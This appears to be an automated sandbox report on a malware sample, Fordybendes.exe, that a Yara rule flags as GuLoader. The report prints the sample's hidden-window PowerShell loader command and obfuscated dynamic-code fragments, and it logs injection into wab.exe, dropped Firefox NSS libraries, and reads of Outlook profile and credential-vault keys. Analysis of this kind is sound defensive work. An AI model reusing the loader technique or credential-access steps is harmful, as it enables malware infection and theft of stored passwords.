Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: virtdisk.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\Fordybendes.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: Fordybendes.exe

Static file information: File size 1905008 > 1048576

Source: Fordybendes.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdby+ source: powershell.exe, 00000002.00000002.2750384130.0000000008ADE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdbGCTL source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdbr source: powershell.exe, 00000002.00000002.2737386866.00000000072B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000002.00000002.2737386866.0000000007306000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2755466029.000000000B3AD000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Kortfattede165 $Coaling23 $Ordinator), (holdenes @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Antisacerdotalist = [AppDomain]::CurrentDomain.GetAssembli
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Incoronate)), $Thrombocystabenlysere).DefineDynamicModule($Guarand, $false).DefineType($Vsentlig, $Meute, [System.MulticastDelegate])$

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Fordybendes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)"
Source: C:\Users\user\Desktop\Fordybendes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)"			Jump to behavior

Source: api-ms-win-core-timezone-l1-1-0.dll.7.dr

Static PE information: 0x78CC598C [Wed Mar 22 16:36:28 2034 UTC]

Source: msvcp140.dll.7.dr

Static PE information: section name: .didat

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08640D11 push FFFFFF8Bh; iretd	2_2_08640CC9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_086483B1 push C03308CCh; ret	2_2_086483C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0864A4C8 pushad ; ret	2_2_0864A4D4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_086EE260 push eax; mov dword ptr [esp], edx	2_2_086EE28C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_086ED528 pushad ; retf	2_2_086ED529
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0876B0AF push FFFFFF8Bh; iretd	2_2_0876B0B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0876B17E push dword ptr [ecx+ebx-75h]; iretd	2_2_0876B184
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_087671E8 push FFFFFF8Bh; iretd	2_2_087671EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08767221 push FFFFFF8Bh; iretd	2_2_08767223
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08768463 push FFFFFF8Bh; iretd	2_2_08768465
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04068C13 push ebp; iretd	7_2_04068C71
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04069010 push edx; retf	7_2_04069011
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04067018 push ebp; iretd	7_2_04067019
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04068638 push ebx; retf	7_2_04068639
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04069462 push esp; iretd	7_2_04069475
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04068C7A push ebp; iretd	7_2_04068C71
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04069897 pushfd ; ret	7_2_0406989E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_040650AF pushfd ; ret	7_2_040650B9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04069CB2 push edx; iretd	7_2_04069CE6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_040698CB push cs; iretd	7_2_040698DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04069CD2 push edx; iretd	7_2_04069CE6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_040624EE push F013EBE4h; retf	7_2_040624F5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04067519 push edx; retf	7_2_0406751A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_0406256F push edx; iretd	7_2_04062602
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_040687A0 push ecx; ret	7_2_040687A1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04069BB6 pushfd ; retf	7_2_04069BB9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_040625C3 push edx; iretd	7_2_04062602
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_04068BC0 push ebx; retf	7_2_04068BC1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_040635CE push ebx; iretd	7_2_040635DE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_0406A5DA push ecx; ret	7_2_0406A5ED

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\ucrtbase.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\nssdbm3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\freebl3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\softokn3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\msvcp140.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\nss3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\mozglue.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\Fordybendes.exe	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\vcruntime140.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Fordybendes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
